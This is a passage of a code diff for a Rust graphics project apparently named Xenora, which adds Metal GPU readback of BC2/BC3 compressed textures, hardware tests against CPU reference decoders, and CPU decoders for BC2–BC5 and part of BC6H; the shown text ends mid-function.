impl MetalError {
/// Operation name of the error returned when the device lacks BC texture
/// compression, which is a hardware capability, not an implementation fault.
pub const BC_UNAVAILABLE: &'static str = "supportsBCTextureCompression";
/// Whether the device lacks a required capability, as opposed to a failure
/// in Xenora's validation or Metal execution.
#[must_use]
pub fn is_capability_unavailable(&self) -> bool {
self.operation == Self::BC_UNAVAILABLE
}
pub(crate) fn new(operation: &'static str, detail: impl Into<String>) -> Self {
Self {
operation,
@@ -184,11 +195,18 @@ impl NativeCompute {
let (width, height) = tiled
.mip_extent(mip)
.map_err(|error| MetalError::new("texture subresource", format!("{error:?}")))?;
let pixels = self.validate_bc1_extent(width, height)?;
let pixels = self.validate_bc_extent(width, height, "BC1")?;
let blocks = tiled
.linearize(layer, mip)
.map_err(|error| MetalError::new("texture subresource", format!("{error:?}")))?;
self.read_bc1_blocks(&blocks, width.div_ceil(4) * 8, width, height, pixels)
self.read_bc_blocks(
MTLPixelFormat::BC1_RGBA,
&blocks,
width.div_ceil(4) * 8,
width,
height,
pixels,
)
}
/// Sample a native Metal RGBA8 texture using a native Metal sampler on Apple Silicon GPU.
@@ -269,8 +287,9 @@ kernel void sample_rgba8(texture2d<float, access::sample> tex [[texture(0)]],
let level = upload
.subresource(layer, mip)
.map_err(|error| MetalError::new("texture subresource", format!("{error:?}")))?;
let pixels = self.validate_bc1_extent(level.width, level.height)?;
self.read_bc1_blocks(
let pixels = self.validate_bc_extent(level.width, level.height, "BC1")?;
self.read_bc_blocks(
MTLPixelFormat::BC1_RGBA,
level.bytes,
level.row_pitch,
level.width,
@@ -279,22 +298,61 @@ kernel void sample_rgba8(texture2d<float, access::sample> tex [[texture(0)]],
)
}
fn validate_bc1_extent(&self, width: usize, height: usize) -> Result<usize, MetalError> {
/// Read a selected subresource from a validated pitched BC2 or BC3 upload.
///
/// The original 16-byte blocks go to a native `BC2_RGBA` or `BC3_RGBA`
/// texture, and the output has the layout of [`Self::read_bc1_upload`].
///
/// # Errors
///
/// Returns an error for an invalid layer or mip, out-of-policy size,
/// unavailable BC compression, or Metal setup or execution failure.
pub fn read_bc_alpha_upload(
&self,
upload: &BcAlphaUpload<'_>,
layer: usize,
mip: u32,
) -> Result<Vec<u32>, MetalError> {
let level = upload
.subresource(layer, mip)
.map_err(|error| MetalError::new("texture subresource", format!("{error:?}")))?;
let (format, name) = match upload.format() {
BcAlphaFormat::Bc2 => (MTLPixelFormat::BC2_RGBA, "BC2"),
BcAlphaFormat::Bc3 => (MTLPixelFormat::BC3_RGBA, "BC3"),
};
let pixels = self.validate_bc_extent(level.width, level.height, name)?;
self.read_bc_blocks(
format,
level.bytes,
level.row_pitch,
level.width,
level.height,
pixels,
)
}
fn validate_bc_extent(
&self,
width: usize,
height: usize,
name: &str,
) -> Result<usize, MetalError> {
let pixels = width
.checked_mul(height)
.filter(|pixels| (1..=MAX_GRID_WORDS).contains(pixels))
.ok_or_else(|| MetalError::new("texture bounds", "expected 1..=4096 texels"))?;
if !self.device.supportsBCTextureCompression() {
return Err(MetalError::new(
"supportsBCTextureCompression",
"BC1 is unavailable",
MetalError::BC_UNAVAILABLE,
format!("{name} is unavailable"),
));
}
Ok(pixels)
}
fn read_bc1_blocks(
fn read_bc_blocks(
&self,
format: MTLPixelFormat,
blocks: &[u8],
row_pitch: usize,
width: usize,
@@ -302,14 +360,11 @@ kernel void sample_rgba8(texture2d<float, access::sample> tex [[texture(0)]],
pixels: usize,
) -> Result<Vec<u32>, MetalError> {
autoreleasepool(|_| {
// SAFETY: The positive bounded dimensions and supported BC1 format
// SAFETY: The positive bounded dimensions and supported BC format
// describe a 2D texture with just its base level.
let descriptor = unsafe {
MTLTextureDescriptor::texture2DDescriptorWithPixelFormat_width_height_mipmapped(
MTLPixelFormat::BC1_RGBA,
width,
height,
false,
format, width, height, false,
)
};
descriptor.setStorageMode(MTLStorageMode::Shared);
@@ -318,7 +373,7 @@ kernel void sample_rgba8(texture2d<float, access::sample> tex [[texture(0)]],
.device
.newTextureWithDescriptor(&descriptor)
.ok_or_else(|| {
MetalError::new("newTextureWithDescriptor", "BC1 allocation failed")
MetalError::new("newTextureWithDescriptor", "BC allocation failed")
})?;
let region = MTLRegion {
origin: MTLOrigin { x: 0, y: 0, z: 0 },
@@ -332,7 +387,8 @@ kernel void sample_rgba8(texture2d<float, access::sample> tex [[texture(0)]],
let bytes_per_row = if height <= 4 { 0 } else { row_pitch };
// SAFETY: The region spans the whole level, including any partial
// edge block. Both callers validate that the input holds all rows
// of complete BC1 blocks at the supplied, block-aligned stride.
// of complete blocks of this format at the supplied, block-aligned
// stride.
unsafe {
texture.replaceRegion_mipmapLevel_withBytes_bytesPerRow(
region,
@@ -342,8 +398,8 @@ kernel void sample_rgba8(texture2d<float, access::sample> tex [[texture(0)]],
);
}
self.run(
BC1_READBACK,
"read_bc1",
BC_READBACK,
"read_bc",
ComputeInput::Texture(&texture, pixels),
)
.map(|profile| profile.output)
@@ -0,0 +1,404 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//! Native Metal upload and readback of original BC2 and BC3 blocks.
//!
//! Every block below was written for this test. The full-texel reference is
//! the `xenora-texture` CPU decoder; the anchor texels are worked by hand from
//! the Microsoft Direct3D 11 block-compression documentation (BC2, BC3) and
//! the Khronos Data Format Specification 1.3 (S3TC DXT3/DXT5). Apple's GPU
//! decoder is the value under test, so expected and actual values come from
//! different decoders.
use super::{context, native};
use xenora_texture::{BcAlphaFormat, BcAlphaUpload, BcAlphaUploadDesc, decode_bc2, decode_bc3};
/// The specifications define colour and BC3 alpha interpolation in real
/// numbers, and the CPU reference truncates them. On an Apple M5 Pro the
/// native decoder's interpolated values lie within 8/7 (1.143) codes of the real
/// value (they match 6-bit fixed-point weights), so they can sit two codes
/// above the truncated reference: 124 against 122 for BC3 alpha
/// (4 * 200 + 3 * 20) / 7 = 122.86. Endpoints, BC2 alpha and BC3's fixed
/// 0 and 255 are exact and are pinned by the anchor checks.
const TOLERANCE: u8 = 2;
/// Bound for anchors against the real-number value of an interpolated code.
const REAL_TOLERANCE: f64 = 1.5;
fn assert_near(label: &str, actual: u8, real: f64) {
assert!(
(f64::from(actual) - real).abs() <= REAL_TOLERANCE,
"{label}: got {actual}, real value {real:.2}"
);
}
const WIDTH: usize = 5;
const HEIGHT: usize = 5;
const ROW_PITCH: usize = 48;
const SLICE_PITCH: usize = 112;
/// Colour half: two little-endian RGB565 endpoints, then 2-bit indices.
/// Every row of 0xe4 selects palette entries 0, 1, 2, 3 from left to right.
fn colour((first, second): (u16, u16)) -> [u8; 8] {
let [a, b] = first.to_le_bytes();
let [c, d] = second.to_le_bytes();
[a, b, c, d, 0xe4, 0xe4, 0xe4, 0xe4]
}
/// BC3 alpha half whose texel `t` selects palette entry `(t + 6) % 8`, so
/// every row starts with the indices 6 and 7 and a full block uses all eight.
fn bc3_alpha(first: u8, second: u8) -> [u8; 8] {
let bits = (0..16u64).fold(0, |bits, texel| bits | (((texel + 6) % 8) << (3 * texel)));
let i = bits.to_le_bytes();
[first, second, i[0], i[1], i[2], i[3], i[4], i[5]]
}
fn block(alpha: [u8; 8], colour: [u8; 8]) -> [u8; 16] {
let mut block = [0; 16];
block[..8].copy_from_slice(&alpha);
block[8..].copy_from_slice(&colour);
block
}
// First endpoint greater: red over blue.
const DESCENDING: (u16, u16) = (0xf800, 0x001f);
// First endpoint smaller, with odd channel values that exercise rounding.
const ASCENDING: (u16, u16) = (0x52aa, 0xad55);
// Equal endpoints: BC1 would decode index 3 as transparent black.
const EQUAL: (u16, u16) = (0x07e0, 0x07e0);
/// White with zero alpha (BC2 nibbles 0; BC3 endpoints 0 and 0) in every
/// padding slot, so a wrong row or slice pitch reads visibly wrong texels.
const PAD: [u8; 16] = [0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xff, 0xff, 0xff, 0, 0, 0, 0];
/// Logical blocks of one layer: the 2×2 base-level grid, then mip 1.
type Layer = [[u8; 16]; 5];
/// Two layers of a 5×5 texture with two mips. Each subresource has seven
/// physical blocks: rows of two logical blocks plus one padding block, a
/// padding block that closes the slice, and mip 1 uses only its block zero.
fn upload_bytes(layers: [Layer; 2]) -> Vec<u8> {
let mut bytes = Vec::new();
for [b0, b1, b2, b3, small] in layers {
for slot in [b0, b1, PAD, b2, b3, PAD, PAD] {
bytes.extend_from_slice(&slot);
}
for slot in [small, PAD, PAD, PAD, PAD, PAD, PAD] {
bytes.extend_from_slice(&slot);
}
}
assert_eq!(bytes.len(), 2 * 2 * SLICE_PITCH);
bytes
}
/// Per-channel tolerance of each texel of `block`: zero where the index
/// selects a stored endpoint, a BC2 alpha nibble or BC3's fixed 0 or 255,
/// and [`TOLERANCE`] only for interpolated codes.
fn tolerances(format: BcAlphaFormat, block: [u8; 16]) -> [[u8; 4]; 16] {
let colour = u32::from_le_bytes([block[12], block[13], block[14], block[15]]);
let mut alpha_bits = [0; 8];
alpha_bits[..6].copy_from_slice(&block[2..8]);
let alpha_indices = u64::from_le_bytes(alpha_bits);
let six_value = block[0] <= block[1];
std::array::from_fn(|t| {
let rgb = if (colour >> (2 * t)) & 3 < 2 {
0
} else {
TOLERANCE
};
let index = (alpha_indices >> (3 * t)) & 7;
let a = match format {
BcAlphaFormat::Bc2 => 0,
BcAlphaFormat::Bc3 if index < 2 || (six_value && index >= 6) => 0,
BcAlphaFormat::Bc3 => TOLERANCE,
};
[rgb, rgb, rgb, a]
})
}
/// Crops a row-major grid of blocks to a `width`×`height` level of CPU-decoded
/// words (red in the lowest byte, as the readback kernel writes them), each
/// with its per-channel tolerance.
fn reference(
format: BcAlphaFormat,
decode: fn([u8; 16]) -> [[u8; 4]; 16],
blocks: &[[u8; 16]],
blocks_x: usize,
(width, height): (usize, usize),
) -> Vec<(u32, [u8; 4])> {
let mut texels = Vec::new();
for y in 0..height {
for x in 0..width {
let block = blocks[(y / 4) * blocks_x + x / 4];
let t = (y % 4) * 4 + x % 4;
let word = u32::from_le_bytes(decode(block)[t]);
texels.push((word, tolerances(format, block)[t]));
}
}
texels
}
fn alpha(word: u32) -> u8 {
word.to_le_bytes()[3]
}
/// Returns the largest per-channel difference, failing on any channel above
/// its tolerance with the texel index and both values.
fn assert_close(label: &str, actual: &[u32], expected: &[(u32, [u8; 4])]) -> u8 {
assert_eq!(actual.len(), expected.len(), "{label}: texel count");
let mut worst = 0;
for (texel, (&got, &(want, tolerance))) in actual.iter().zip(expected).enumerate() {
for ((g, w), limit) in got
.to_le_bytes()
.into_iter()
.zip(want.to_le_bytes())
.zip(tolerance)
{
assert!(
g.abs_diff(w) <= limit,
"{label}: texel {texel} got {got:#010x}, want {want:#010x} (per-channel limit {tolerance:?})"
);
worst = worst.max(g.abs_diff(w));
}
}
worst
}
/// GPU reads of both layers: `[layer][mip]`.
type Reads = [[Vec<u32>; 2]; 2];
/// Uploads both layers, reads all four subresources on the GPU, compares
/// them with the CPU decoder and returns the reads with the worst difference.
fn read_and_compare(
format: BcAlphaFormat,
decode: fn([u8; 16]) -> [[u8; 4]; 16],
layers: [Layer; 2],
) -> (Reads, u8) {
let bytes = upload_bytes(layers);
let upload = BcAlphaUpload::new(
&bytes,
BcAlphaUploadDesc {
width: WIDTH,
height: HEIGHT,
mips: 2,
layers: 2,
format,
row_pitch: ROW_PITCH,
slice_pitch: SLICE_PITCH,
},
)
.unwrap();
let gpu = context();
let mut worst = 0;
let reads = std::array::from_fn(|layer| {
let base = native(gpu.read_bc_alpha_upload(&upload, layer, 0));
let expected = reference(format, decode, &layers[layer][..4], 2, (WIDTH, HEIGHT));
let label = format!("{format:?} layer {layer}");
worst = worst.max(assert_close(&format!("{label} mip 0"), &base, &expected));
let small = native(gpu.read_bc_alpha_upload(&upload, layer, 1));
let expected = reference(format, decode, &layers[layer][4..], 1, (2, 2));
worst = worst.max(assert_close(&format!("{label} mip 1"), &small, &expected));
[base, small]
});
for (layer, mip) in [(2, 0), (0, 2)] {
assert_eq!(
gpu.read_bc_alpha_upload(&upload, layer, mip)
.unwrap_err()
.operation,
"texture subresource"
);
}
(reads, worst)
}
#[test]
fn reads_pitched_bc2_explicit_alpha_across_mips_and_layers() {
// Nibble t in texel t, low nibble first: alpha t * 17.
let ramp = [0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe];
let reverse = ramp.map(|byte: u8| !byte);
let opaque = [0xff; 8];
let [descending, ascending, equal] = [DESCENDING, ASCENDING, EQUAL].map(colour);
let (reads, worst) = read_and_compare(
BcAlphaFormat::Bc2,
decode_bc2,
[
[
block(ramp, descending),
block(reverse, ascending),
block(opaque, equal),
block(ramp, ascending),
block(reverse, descending),
],
[
block(opaque, ascending),
block(ramp, equal),
block(reverse, descending),
block(opaque, descending),
block(ramp, equal),
],
],
);
// Hand-derived anchors, independent of the CPU decoder.
let base = &reads[0][0];
// (0, 0): red endpoint, nibble 0. (1, 0): blue endpoint, nibble 1.
assert_eq!(base[0], 0x0000_00ff);
assert_eq!(base[1], 0x11ff_0000);
// (0, 2) is texel 8 of block 0: red endpoint, nibble 8 -> 0x88.
assert_eq!(base[2 * WIDTH], 0x8800_00ff);
// (3, 3) is texel 15 of block 0: nibble 15 -> opaque.
assert_eq!(alpha(base[3 * WIDTH + 3]), 0xff);
// (4, 0) is texel 0 of block 1: reversed ramp, nibble 15.
assert_eq!(alpha(base[4]), 0xff);
// (3, 4) is index 3 of block 2's equal green endpoints: opaque green,
// not BC1's transparent black.
assert_eq!(base[4 * WIDTH + 3], 0xff00_ff00);
// Layer 1 mip 1: green endpoints, ramp nibbles 0, 1, 4, 5.
assert_eq!(
reads[1][1],
[0x0000_ff00, 0x1100_ff00, 0x4400_ff00, 0x5500_ff00]
);
println!("checked 58 BC2 texels from four subresources, worst channel difference {worst}");
}
#[test]
fn reads_pitched_bc3_interpolated_alpha_across_mips_and_layers() {
// First endpoint greater: eight-value palette.
let eight = bc3_alpha(200, 20);
// First endpoint smaller: six-value palette with fixed 0 and 255.
let six = bc3_alpha(20, 200);
// Equal endpoints also select the six-value palette.
let level = bc3_alpha(128, 128);
let [descending, ascending, equal] = [DESCENDING, ASCENDING, EQUAL].map(colour);
let (reads, worst) = read_and_compare(
BcAlphaFormat::Bc3,
decode_bc3,
[
[
block(eight, descending),
block(six, ascending),
block(level, equal),
block(eight, ascending),
block(six, descending),
],
[
block(six, equal),
block(eight, ascending),
block(level, descending),
block(six, ascending),
block(eight, equal),
],
],
);
// Hand-derived anchors, independent of the CPU decoder.
let base = &reads[0][0];
let a = |x: usize, y: usize| alpha(base[y * WIDTH + x]);
// Block 0, eight-value: row 0 holds indices 6, 7, 0, 1, and row 1
// indices 2, 3, 4, 5, each (k = index - 1) ((7 - k) * 200 + k * 20) / 7.
assert_near("index 6", a(0, 0), (2.0 * 200.0 + 5.0 * 20.0) / 7.0);
assert_near("index 7", a(1, 0), (200.0 + 6.0 * 20.0) / 7.0);
for (x, k) in (0..4).zip(1..) {
let real = f64::from((7 - k) * 200 + k * 20) / 7.0;
assert_near(&format!("index {}", k + 1), a(x, 1), real);
}
// Then the endpoints themselves, exactly; texel (0, 0) is the red endpoint.
assert_eq!([a(2, 0), a(3, 0)], [200, 20]);
assert_eq!(base[0] & 0x00ff_ffff, 0x0000_00ff);
// Block 1, six-value: column 4 holds indices 6, 2, 6, 2. Index 6 is the
// fixed 0 and index 2 is (4 * 20 + 200) / 5 = 56.
assert_eq!([a(4, 0), a(4, 2)], [0, 0]);
assert_near("six-value index 2", a(4, 1), 56.0);
assert_near("six-value index 2", a(4, 3), 56.0);
// Block 2, equal endpoints of 128: row 4 holds indices 6, 7, 0, 1, so the
// six-value mode shows as the fixed 0 and 255.
assert_eq!([a(0, 4), a(1, 4), a(2, 4), a(3, 4)], [0, 255, 128, 128]);
// Mip 1, six-value: indices 6, 7, 2, 3 -> 0, 255, 56, (3 * 20 + 2 * 200) / 5 = 92.
let small: Vec<_> = reads[0][1].iter().copied().map(alpha).collect();
assert_eq!(small[..2], [0, 255]);
assert_near("six-value index 2", small[2], 56.0);
assert_near("six-value index 3", small[3], 92.0);
println!("checked 58 BC3 texels from four subresources, worst channel difference {worst}");
}
/// Reads one-mip, one-layer uploads of `width`×`height` from `blocks` laid
/// out with `row_pitch`, comparing with the CPU decoder.
fn read_edge(
format: BcAlphaFormat,
decode: fn([u8; 16]) -> [[u8; 4]; 16],
blocks: &[[u8; 16]],
(width, height, row_pitch): (usize, usize, usize),
) -> Vec<u32> {
let bytes = blocks.as_flattened();
let upload = BcAlphaUpload::new(
bytes,
BcAlphaUploadDesc {
width,
height,
mips: 1,
layers: 1,
format,
row_pitch,
slice_pitch: bytes.len(),
},
)
.unwrap();
let actual = native(context().read_bc_alpha_upload(&upload, 0, 0));
let expected = reference(format, decode, blocks, width.div_ceil(4), (width, height));
assert_close(&format!("{format:?} {width}x{height}"), &actual, &expected);
actual
}
#[test]
fn reads_bc2_and_bc3_edge_blocks() {
let ramp = [0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe];
let reverse = ramp.map(|byte: u8| !byte);
let [descending, equal] = [DESCENDING, EQUAL].map(colour);
// 5×3 is one row of two blocks: Metal receives a zero row stride, and
// both blocks are cut at row 3, the second also at column 1. The row
// pitch keeps one padding block.
let wide = (5, 3, 48);
let bc2 = read_edge(
BcAlphaFormat::Bc2,
decode_bc2,
&[block(ramp, descending), block(reverse, equal), PAD],
wide,
);
// (0, 0) red, nibble 0; (4, 0) green, reversed nibble 15; (0, 2) red,
// nibble 8; (4, 2) green, reversed nibble 7.
assert_eq!(
[bc2[0], bc2[4], bc2[10], bc2[14]],
[0x0000_00ff, 0xff00_ff00, 0x8800_00ff, 0x7700_ff00]
);
let bc3 = read_edge(
BcAlphaFormat::Bc3,
decode_bc3,
&[
block(bc3_alpha(200, 20), descending),
block(bc3_alpha(20, 200), equal),
PAD,
],
wide,
);
// Row 0 of block 0 is indices 6, 7, 0, 1: (2, 0) and (3, 0) are the
// endpoints 200 and 20. Column 0 of block 1 is indices 6, 2, 6: green
// with the fixed 0, then (4 * 20 + 200) / 5 = 56.
assert_eq!([alpha(bc3[2]), alpha(bc3[3])], [200, 20]);
assert_eq!([bc3[4], bc3[14]], [0x0000_ff00; 2]);
assert_near("six-value index 2", alpha(bc3[9]), 56.0);
// 1×1 is a single block cut to its first texel.
let one = (1, 1, 16);
let bc2 = read_edge(
BcAlphaFormat::Bc2,
decode_bc2,
&[block(reverse, descending)],
one,
);
assert_eq!(bc2, [0xff00_00ff]);
let bc3 = read_edge(
BcAlphaFormat::Bc3,
decode_bc3,
&[block(bc3_alpha(20, 200), descending)],
one,
);
assert_eq!(bc3, [0x0000_00ff]);
println!("checked 32 BC2 and BC3 texels from 5x3 and 1x1 edge levels");
}
+13
View File
@@ -6,6 +6,8 @@ mod guest_buffer;
mod offscreen;
#[path = "native/texture.rs"]
mod texture;
#[path = "native/texture_bc_alpha.rs"]
mod texture_bc_alpha;
#[path = "native/texture_sampling.rs"]
mod texture_sampling;
#[path = "native/translated_render.rs"]
@@ -29,6 +31,17 @@ fn context() -> NativeCompute {
NativeCompute::new().expect("native Metal device and queue")
}
/// Unwraps a native result, reporting a missing device capability apart from
/// an implementation failure. Both fail the test; neither counts as a pass.
fn native<T>(result: Result<T, xenora_metal::MetalError>) -> T {
result.unwrap_or_else(|error| {
if error.is_capability_unavailable() {
panic!("CAPABILITY UNAVAILABLE on this device, not an implementation failure: {error}")
}
panic!("IMPLEMENTATION FAILURE: {error}")
})
}
fn verify_words(body: &str, input: &[u32], expected: &[u32]) {
let actual = context()
.run_words(&fixture(body), "fixture", input)
+138
View File
@@ -0,0 +1,138 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//! CPU block decoders for BC2, BC3, BC4 and BC5.
//!
//! Sources (public): Microsoft, "Texture Block Compression in Direct3D 11"
//! (sections BC2, BC3, BC4, BC5) and "Block Compression (Direct3D 10)"; Khronos
//! Data Format Specification 1.3, sections "S3TC compressed texture image
//! formats" and "RGTC compressed texture image formats".
//!
//! Colour blocks of BC2 and BC3 always use the four-colour interpolation,
//! whatever the order of their endpoints (Khronos, "S3TC compressed texture
//! image formats", DXT3/DXT5 subsections; the BC1 three-colour/alpha mode does
//! not apply). Texels are row-major, texel 0 at the top-left.
//!
//! Rounding: every interpolated value uses integer division that truncates
//! toward zero (the same rule `decode_bc1` uses). For unsigned values that is
//! floor. BC2 alpha nibbles expand as `v * 17`. The specifications define the
//! interpolation in real numbers; truncation is this crate's integer choice.
//!
//! SNORM: the specification maps both -128 and -127 to -1.0. Endpoints are
//! compared as the stored signed bytes; for interpolation -128 is treated as
//! -127. Output bytes are the stored endpoint bytes for indices 0 and 1 (so
//! -128 is preserved, not rewritten) and -127 / 127 for the fixed values.
use super::rgb565;
/// Reads texel `n` of a packed little-endian 48-bit array of 3-bit indices.
fn index3(bytes: &[u8; 6], n: usize) -> usize {
let mut bits = 0u64;
for (i, b) in bytes.iter().enumerate() {
bits |= u64::from(*b) << (8 * i);
}
((bits >> (3 * n)) & 7) as usize
}
fn unorm_palette(a0: u8, a1: u8) -> [u8; 8] {
let (x, y) = (u16::from(a0), u16::from(a1));
let mut p = [a0, a1, 0, 0, 0, 0, 0, 255];
if a0 > a1 {
for k in 1..=6u16 {
p[(k + 1) as usize] = (((7 - k) * x + k * y) / 7) as u8;
}
} else {
for k in 1..=4u16 {
p[(k + 1) as usize] = (((5 - k) * x + k * y) / 5) as u8;
}
p[6] = 0;
}
p
}
fn snorm_palette(a0: i8, a1: i8) -> [i8; 8] {
let x = i16::from(a0).max(-127);
let y = i16::from(a1).max(-127);
let mut p = [a0, a1, 0, 0, 0, 0, 0, 0];
if a0 > a1 {
for k in 1..=6i16 {
p[(k + 1) as usize] = (((7 - k) * x + k * y) / 7) as i8;
}
} else {
for k in 1..=4i16 {
p[(k + 1) as usize] = (((5 - k) * x + k * y) / 5) as i8;
}
p[6] = -127;
p[7] = 127;
}
p
}
fn unorm_block(block: &[u8]) -> [u8; 16] {
let p = unorm_palette(block[0], block[1]);
let idx: [u8; 6] = block[2..8].try_into().unwrap();
std::array::from_fn(|t| p[index3(&idx, t)])
}
fn snorm_block(block: &[u8]) -> [i8; 16] {
let p = snorm_palette(block[0] as i8, block[1] as i8);
let idx: [u8; 6] = block[2..8].try_into().unwrap();
std::array::from_fn(|t| p[index3(&idx, t)])
}
/// Decodes a BC4 UNORM block to 16 row-major red values.
pub fn decode_bc4_unorm(block: [u8; 8]) -> [u8; 16] {
unorm_block(&block)
}
/// Decodes a BC4 SNORM block to 16 row-major signed red values.
pub fn decode_bc4_snorm(block: [u8; 8]) -> [i8; 16] {
snorm_block(&block)
}
/// Decodes a BC5 UNORM block; each texel is `[red, green]` (first 8 bytes red).
pub fn decode_bc5_unorm(block: [u8; 16]) -> [[u8; 2]; 16] {
let r = unorm_block(&block[..8]);
let g = unorm_block(&block[8..]);
std::array::from_fn(|t| [r[t], g[t]])
}
/// Decodes a BC5 SNORM block; each texel is `[red, green]`.
pub fn decode_bc5_snorm(block: [u8; 16]) -> [[i8; 2]; 16] {
let r = snorm_block(&block[..8]);
let g = snorm_block(&block[8..]);
std::array::from_fn(|t| [r[t], g[t]])
}
/// Four-colour BC1-style palette, forced regardless of endpoint order.
fn colour_block(block: &[u8]) -> [[u8; 4]; 16] {
let first = u16::from_le_bytes([block[0], block[1]]);
let second = u16::from_le_bytes([block[2], block[3]]);
let mut p = [rgb565(first), rgb565(second), [255; 4], [255; 4]];
for c in 0..3 {
let a = u16::from(p[0][c]);
let b = u16::from(p[1][c]);
p[2][c] = ((2 * a + b) / 3) as u8;
p[3][c] = ((a + 2 * b) / 3) as u8;
}
let bits = u32::from_le_bytes([block[4], block[5], block[6], block[7]]);
std::array::from_fn(|t| p[((bits >> (2 * t)) & 3) as usize])
}
/// Decodes a BC2 block to 16 row-major RGBA8 texels (explicit 4-bit alpha).
pub fn decode_bc2(block: [u8; 16]) -> [[u8; 4]; 16] {
let mut out = colour_block(&block[8..]);
for (t, px) in out.iter_mut().enumerate() {
// Two texels per byte, low nibble first.
px[3] = ((block[t / 2] >> (4 * (t % 2))) & 15) * 17;
}
out
}
/// Decodes a BC3 block to 16 row-major RGBA8 texels (interpolated alpha).
pub fn decode_bc3(block: [u8; 16]) -> [[u8; 4]; 16] {
let mut out = colour_block(&block[8..]);
let alpha = unorm_block(&block[..8]);
for (px, a) in out.iter_mut().zip(alpha) {
px[3] = a;
}
out
}
+198
View File
@@ -0,0 +1,198 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//! CPU block decoder for a bounded subset of BC6H.
//!
//! Source (public): Khronos Data Format Specification 1.3, section 20.2
//! "BC6H" (Tables 121 and 122, unquantization and final unquantization) and
//! section 20.1 (BC7 interpolation, Equation 2 and Table 119); Microsoft,
//! "BC6H Format" (Direct3D 11).
//!
//! Supported: the four single-subset modes, numbered as Khronos numbers
//! them (Microsoft's modes 11 to 14 in brackets): 3 (11, 10-bit endpoints),
//! 7 (12, 11-bit base, 9-bit deltas), 11 (13, 12-bit base, 8-bit deltas) and
//! 15 (14, 16-bit base, 4-bit deltas), for both signed and unsigned data.
//! Reserved modes 19, 23, 27 and 31 decode to zero as the specification
//! requires. The ten two-subset modes are rejected with
//! [`Bc6hError::UnsupportedMode`]; they are not implemented.
//!
//! Output texels are row-major `[r, g, b]` half-float bit patterns; the
//! format's alpha is always 1.0 and is not returned.
//!
//! Final unquantization follows the Khronos text: a negative interpolated
//! value keeps its sign bit even when its magnitude rounds to zero, so -1
//! becomes 0x8000 (-0.0). Microsoft's sample code returns 0x0000 there. This
//! is an open difference between the two public sources, not a hardware fact.
/// Khronos mode numbers this decoder implements.
pub const BC6H_SUPPORTED_MODES: [u8; 4] = [3, 7, 11, 15];
#[derive(Debug, PartialEq, Eq)]
pub enum Bc6hError {
/// A two-subset mode, identified by its Khronos mode number.
UnsupportedMode(u8),
}
/// Returns the block's Khronos mode number: the low two bits when they are
/// below two, otherwise the low five bits.
pub fn bc6h_mode(block: [u8; 16]) -> u8 {
if block[0] & 3 < 2 {
block[0] & 3
} else {
block[0] & 31
}
}
/// Decodes an unsigned (UF16) BC6H block.
pub fn decode_bc6h_ufloat(block: [u8; 16]) -> Result<[[u16; 3]; 16], Bc6hError> {
decode(block, false)
}
/// Decodes a signed (SF16) BC6H block.
pub fn decode_bc6h_sfloat(block: [u8; 16]) -> Result<[[u16; 3]; 16], Bc6hError> {
decode(block, true)
}
/// Reads the block from its least significant bit upward.
struct Bits {
bits: u128,
offset: u32,
}
impl Bits {
fn take(&mut self, count: u32) -> u32 {
let value = (self.bits >> self.offset) as u32 & ((1u32 << count) - 1);
self.offset += count;
value
}
/// `v[high..=low]`, lowest block bit first into bit `low`.
fn field(&mut self, target: &mut i32, high: u32, low: u32) {
*target |= (self.take(high - low + 1) << low) as i32;
}
/// Table 122's reversed `v[a..b]` with `a < b`: the lowest block bit
/// lands in bit `b` and each following bit one position lower.
fn reversed(&mut self, target: &mut i32, low: u32, high: u32) {
for bit in (low..=high).rev() {
*target |= (self.take(1) << bit) as i32;
}
}
}
/// Endpoint bits, delta bits and whether E1 is stored relative to E0.
fn single_subset(mode: u8) -> Option<(u32, u32, bool)> {
match mode {
3 => Some((10, 10, false)),
7 => Some((11, 9, true)),
11 => Some((12, 8, true)),
15 => Some((16, 4, true)),
_ => None,
}
}
fn sign_extend(value: i32, bits: u32) -> i32 {
let shift = 32 - bits;
(value << shift) >> shift
}
fn unquantize(x: i32, bits: u32, signed: bool) -> i32 {
if !signed {
if bits >= 15 {
x
} else if x == 0 {
0
} else if x == (1 << bits) - 1 {
0xffff
} else {
((x << 15) + 0x4000) >> (bits - 1)
}
} else if bits >= 16 {
x
} else {
let magnitude = x.abs();
let unq = if magnitude == 0 {
0
} else if magnitude >= (1 << (bits - 1)) - 1 {
0x7fff
} else {
((magnitude << 15) + 0x4000) >> (bits - 1)
};
if x < 0 { -unq } else { unq }
}
}
fn finish(i: i32, signed: bool) -> u16 {
if !signed {
((i * 31) >> 6) as u16
} else if i < 0 {
((((-i) * 31) >> 5) | 0x8000) as u16
} else {
((i * 31) >> 5) as u16
}
}
const WEIGHTS: [i32; 16] = [0, 4, 9, 13, 17, 21, 26, 30, 34, 38, 43, 47, 51, 55, 60, 64];
fn decode(block: [u8; 16], signed: bool) -> Result<[[u16; 3]; 16], Bc6hError> {
let mode = bc6h_mode(block);
if matches!(mode, 19 | 23 | 27 | 31) {
return Ok([[0; 3]; 16]);
}
let (epb, delta, transformed) = single_subset(mode).ok_or(Bc6hError::UnsupportedMode(mode))?;
let mut bits = Bits {
bits: u128::from_le_bytes(block),
offset: 5,
};
let mut e0 = [0i32; 3];
let mut e1 = [0i32; 3];
for channel in &mut e0 {
bits.field(channel, 9, 0);
}
for c in 0..3 {
match mode {
3 => bits.field(&mut e1[c], 9, 0),
7 => {
bits.field(&mut e1[c], 8, 0);
bits.field(&mut e0[c], 10, 10);
}
11 => {
bits.field(&mut e1[c], 7, 0);
bits.reversed(&mut e0[c], 10, 11);
}
_ => {
bits.field(&mut e1[c], 3, 0);
bits.reversed(&mut e0[c], 10, 15);
}
}
}
debug_assert_eq!(bits.offset, 65);
let mut ends = [[0i32; 3]; 2];
for c in 0..3 {
let mut a = e0[c];
let mut b = e1[c];
if signed {
a = sign_extend(a, epb);
}
if transformed || signed {
b = sign_extend(b, delta);
}
if transformed {
b = (a + b) & ((1 << epb) - 1);
if signed {
b = sign_extend(b, epb);
}
}
ends[0][c] = unquantize(a, epb, signed);
ends[1][c] = unquantize(b, epb, signed);
}
let mut texels = [[0u16; 3]; 16];
for (texel, out) in texels.iter_mut().enumerate() {
// Texel 0 is the anchor: its implicit high index bit is zero.
